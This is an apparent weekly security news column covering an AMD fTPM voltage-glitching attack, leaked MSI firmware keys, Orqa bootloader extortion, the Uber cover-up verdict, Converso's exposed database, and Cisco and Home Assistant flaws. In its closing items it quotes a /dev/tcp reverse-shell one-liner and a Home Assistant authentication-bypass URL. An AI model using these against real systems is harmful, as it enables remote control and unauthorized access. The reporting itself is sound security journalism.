Full disk encryption is the go-to solution for hardening a laptop against the worst-case scenario of physical access. One way that encryption can be managed is through a Trusted Platform Module (TPM), a chip on the motherboard that manages the disk encryption key, and only hands it over for boot after the user has authenticated. We’ve seen some clever tricks deployed against these discrete TPMs, like sniffing the data going over the physical traces. So in theory, an integrated TPM might be more secure. Such a technique does exist, going by the name fTPM, or firmware TPM. It uses a Trusted Execution Environment, a TEE, to store and run the TPM code. And there’s another clever attack against that concept (PDF).

It’s chip glitching via a voltage fault. This particular attack works against AMD processors, and the voltage fault is triggered by injecting commands into the Serial Voltage Identification Interface 2.0 (SVI2). Dropping the voltage momentarily to the AMD Secure Processor (AMD-SP) can cause a key verification step to succeed even against an untrusted key, bypassing the need for an AMD Root Key (ARK) signed board firmware. That’s not a simple process, and pulling it off takes about $200 of gear, and about 3 hours. This exposes the CPU-unique seed, the board NVRAM, and all the protected TPM objects.

So how bad is this in the real world? If your disk encryption only relies on an fTPM, it’s pretty bad. The attack exposes that key and breaks encryption. For something like BitLocker that can also use a PIN, it’s a bit better, though to really offer more resistance, that needs to be a really long PIN: a 10 digit PIN falls to a GPU in just 4 minutes, in this scenario where it can be attacked offline. There is an obscure way to enable an “enhanced PIN”, a password, which makes that offline attack impractical with a secure password.

And if hardware glitching a computer seems to complicated, why not just use the leaked MSI keys? Now to be fair, this only seems to allow a bypass of Intel’s BootGuard, but it’s still a blow. MSI suffered a ransomware-style breach in March, but rather than encrypt data, the attackers simply threatened to release the copied data to the world. MSI apparently refused to pay up, and source code and signing keys are now floating in the dark corners of the Internet. There have been suggestions that this leak impacts the entire line of Intel processors, but it seems likely that MSI only had their own signing keys to lose. But that’s plenty bad, given the lack of a revocation system or automatic update procedure for MSI firmware.

Bootloader Ransomware

Orqa goggles are First Person View devices. Strap on their FPVs and you get to see what your drone sees in real time. Until a couple weeks ago, that is. Late March, those goggles started displaying a bootloader message instead of booting as normal. The message was interesting. The FPVs went straight to bootloader mode, and asked for an SDCard with updated software. Update the firmware in order to get started. Seems annoying but innocuous. Except Orqa didn’t push a forced update, and had no clue the devices were about to soft-brick.

The rest of the story is that a contractor who wrote some of the devices’ bootloader code wanted a guarantee of future employment, and so added a time-triggered bug. Yep, it’s an extortion scheme, masquerading as a license expiration — a unique sort of ransomware. It apparently became clear that this was a bad idea, and the evil programmer released a non-official binary to fix the issue. Thankfully an official fix is forthcoming, and it should go without saying that nobody should trust the direct release from a malicious contractor.

It’s Not the Crime, It’s the Coverup

If you needed it, here’s another reason not to pay the ransom. Well, more specifically, don’t pay the ransom, try to cover it up as a bug bounty, and then lie to investigators about the whole incident. Joseph Sullivan was found guilty of Obstruction of Justice and Misrepresenting a Felony, both in relation to an event while he was chief security officer at Uber.

Sullivan was let off easy with three years of probation, 200 hours of community service, and a $50,000 fine. Read the articles linked above, and let us know what you think. Was this a reasonable charge and punishment for the cover-up, or was this a perversion of justice to punish the victim trying to clean up after an attack?

Converso

Extraordinary claims require extraordinary proof. There’s a new messaging app that’s touting some extraordinary security and privacy claims, Converso. Some of the claims really intrigued [crnkovic], like bragging about no stored user or metadata. These claims were asking to be looked into.

Unfortunately, Converso is not open source and their website is totally silent on cryptographic primitives and protocols….

Turns out Converso is a quick app built around the Seald encryption library. It’s not a terrible scheme, using RSA public-private keys, and AES-256-CBC encryption. But it’s not state of the art, and decidedly not quantum resistant. And unfortunately this rather lukewarm approval of the basic encryption scheme is the best we can say about Converso. It’s not decentralized, messages do go through their servers, there’s lots of user data and metadata that’s part of the solution. It’s not great.

Turns out, it gets worse. Our intrepid hacker was looking through the decompiled app code, and noticed references to a remote Firestore database — a cloud-based database service from Google. And this one, which contains user data and way more, was publicly readable. Yep, all that metadata Converso claimed not to have? It was in the clear for anyone to query. Among all that data was message data, and mind-bogglingly, encryption keys. And all sent images, since they were being sent without encryption. By our calculations, that means pretty much everything was accessible, to anyone that knew where to look.

The gaping security holes were responsibly disclosed, and it’s claimed that they’ve been fixed. But Converso has a mountain of work ahead of them to win back any credibility. As hard as it was hyped, and as broken as the system seems to be, it’s worth asking if perhaps the app is a honeypot.

Bits and Bytes

Time to check your phone closet for a Cisco SPA112, a combination router and 2-port FXS phone adapter. This is the sort of equipment used to connect an analog fax machine to a VoIP system, and it turns out this one has a nasty vulnerability. CVE-2023-20126 scores a CVSS of 9.8, and it allows an unauthenticated user to upload new firmware through the web management interface. And don’t forget, these devices are End-of-Lifed, so no fix is expected.

Reverse shells are fun! They’re often used as an exploit’s payload, particularly when an exploit allows executing a bash command directly. A reverse shell is a remote process that executes our commands, and then sends the results back. [Aditya Telange] has the start of a series here, looking at the details, including a list of popular options. It’s everything from the popular bash -i, to more obscure commands like 0<&196;exec 196<>/dev/tcp/10.10.10.10/9001; sh <&196 >&196 2>&196. Groovy!

And to cap off the week’s news, Home Assistant had a nasty one, where an unauthenticated user can access the Supervisor API. The bug is a sneaky path traversal that bypasses an authentication check regex. Check it yourself, by fetching http://a.b.c.d:8123/api/hassio/app/.%252e/supervisor/info on your Home Assistant install. The fixes have been bypassed a couple of times, and it’s release 2023.03.3 that’s safe to use, for now.